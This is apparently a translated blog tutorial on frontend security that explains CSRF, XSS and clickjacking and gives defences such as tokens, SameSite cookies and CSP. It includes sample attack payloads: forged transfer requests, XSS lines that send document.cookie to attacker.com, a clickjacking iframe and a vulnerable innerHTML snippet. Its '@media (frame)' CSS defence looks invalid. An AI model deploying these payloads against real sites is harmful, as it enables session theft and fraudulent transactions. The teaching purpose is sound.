Essential Frontend Security: Defend Against CSRF, XSS, and Clickjacking

This article explains why frontend security is critical, outlines common attacks such as CSRF, XSS (stored, reflected, DOM), and clickjacking, and provides practical defense strategies including CSRF tokens, SameSite cookies, input validation, CSP, X‑Frame‑Options, and secure coding practices for modern web developers.

大转转FE
大转转FE
大转转FE
Essential Frontend Security: Defend Against CSRF, XSS, and Clickjacking

Introduction

In the digital age, the frontend is not only the user interface but also the "defense gate" of the system. According to statistics, global web attacks reached 311 billion in 2024, causing about $2.4 billion in losses. As security expert Bruce Schneier said, "Security is not a product, it is a process." Frontend developers must discard the outdated notion that security is only a backend concern and adopt a comprehensive defense mindset.

1. Why Frontend Security Matters

Users interact with web applications first through the frontend, yet many developers hold misconceptions:

Backend validation allows a lax frontend.

Our site has no sensitive data, so no security needed.

Modern frameworks (React/Vue) automatically handle security.

In reality, frontend vulnerabilities can lead to:

User data leakage (cookies, tokens).

Malicious operations (automatic transfers, content posting).

Damage to corporate brand reputation (page tampering).

2. Common Attack Techniques

2.1 CSRF (Cross‑Site Request Forgery)

2.1.1 Overview

CSRF is a web security vulnerability where an attacker exploits a logged‑in user's identity to perform unintended actions without the user's knowledge.

2.1.2 Attack Scenarios and Examples

CSRF攻击流程
CSRF攻击流程

GET‑type attack

// Malicious page injects the following code
<img src="https://bank.com/transfer?to=hacker&amount=10000">
// When the user visits the page, the request is sent automatically

POST‑type attack

// Malicious page injects the following code
<form action="https://bank.com/transfer" method="POST" id="fraud">
  <input type="hidden" name="to" value="hacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('fraud').submit()</script>

2.1.3 Defense Measures

Use CSRF Token

<!-- Server generates a random token and embeds it in the form or HTTP header -->
<form>
  <input type="hidden" name="_csrf" value="random_server_token">
</form>

Set SameSite attribute on cookies

// SameSite=Strict: completely block third‑party cookies
// SameSite=Lax: allow some safe requests with cookies
Set-Cookie: SameSite=Strict

Secondary verification for critical actions

async function transfer() {
  await verifyPassword();
  // subsequent logic...
}

2.2 XSS (Cross‑Site Scripting)

2.2.1 Overview

XSS is a common web vulnerability where attackers inject malicious scripts into pages, which execute in other users' browsers.

2.2.2 Attack Scenarios and Examples

Stored XSS

Scenario: User input is persisted in a database and later rendered on a page.

存储型XSS攻击流程
存储型XSS攻击流程
// Malicious comment submitted by a user
这产品真好用!<img src="https://attacker.com/steal?cookie='+document.cookie'">

Reflected XSS

Scenario: User clicks a malicious link or visits a URL with crafted parameters.

反射型XSS攻击流程
反射型XSS攻击流程
// Malicious URL
https://example.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
// Server reflects the query without proper sanitization, leading to script execution

DOM‑based XSS

Scenario: Injection occurs when frontend JavaScript manipulates the DOM.

DOM型XSS攻击流程
DOM型XSS攻击流程
// Vulnerable example: using innerHTML with URL hash
function renderPage() {
  const hash = window.location.hash.slice(1);
  document.getElementById('content').innerHTML = '<h1>' + hash + '</h1>';
}
window.onload = renderPage;
// Malicious URL: http://example.com/#<script>alert('XSS');</script>

Comparison of XSS types

Stored XSS: persistent on server, triggered by visiting a malicious page, visible to all visitors, relatively easy to detect.

Reflected XSS: non‑persistent, triggered by clicking a crafted link, visible only to the clicking user, medium detection difficulty.

DOM XSS: non‑persistent, triggered by a link or page visit, pure client‑side execution, hardest to detect.

2.2.4 Comprehensive Defense Strategies

Input validation and filtering

Strictly check user‑submitted data and filter or escape special characters such as <, >, ", ', &.

Use a whitelist approach, allowing only safe input formats (plain text, specific HTML tags).

Output encoding and escaping

When rendering user input to HTML, use entity encoding (e.g., &lt; for <).

Unicode‑escape content inserted into JavaScript.

Percent‑encode URL parameters.

Secure HTTP header settings

Set HttpOnly to prevent JavaScript from reading cookies.

Use Secure flag to ensure cookies are sent only over HTTPS.

Safe DOM manipulation

Avoid dangerous methods like innerHTML and document.write().

// Use textContent instead of innerHTML
element.textContent = userInput;

2.3 Clickjacking

2.3.1 Overview

Clickjacking is a visual deception attack where attackers overlay transparent or disguised UI layers to trick users into clicking malicious actions.

2.3.2 Attack Scenarios and Example

点击劫持攻击流程
点击劫持攻击流程
// Fake malicious page
<style>
  #fake-button { position:absolute; cursor:pointer; z-index:1; }
  iframe { position:absolute; opacity:0.01; z-index:2; }
</style>
<body>
  <div id="fake-button">Click to claim prize!</div>
  <iframe src="https://victim-site.com/transfer?amount=1000&to=attacker"></iframe>
</body>
// User clicks the visible button, actually triggering the hidden iframe transfer

2.3.3 Defense Measures

Use X‑Frame‑Options HTTP header

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://example.com/

Use Content Security Policy (CSP) frame‑ancestors directive

Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors example.com

Visual defenses (auxiliary)

@media (frame) {
  body { display: block !important; }
}

3. Comprehensive Security Recommendations

Microsoft CISO Bret Arsenault noted: "Technology solves 40% of security problems, processes solve 30%, and people and culture solve the remaining 30%."

The article highlights the importance of frontend security and common attack vectors. In real projects, developers should build layered defenses, implement proactive monitoring, maintain incident response procedures, document cases in a knowledge base, update coding standards, and conduct regular security training.

防御体系建设
防御体系建设

Conclusion

Frontend security is an ongoing battle that requires continuous vigilance. As attackers evolve, frontend developers must keep the "security" string tight, delivering smooth user experiences while safeguarding user data.

clickjackingCSRFXSSweb securitySecure Codingfrontend security
大转转FE
Written by

大转转FE

Regularly sharing the team's thoughts and insights on frontend development

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.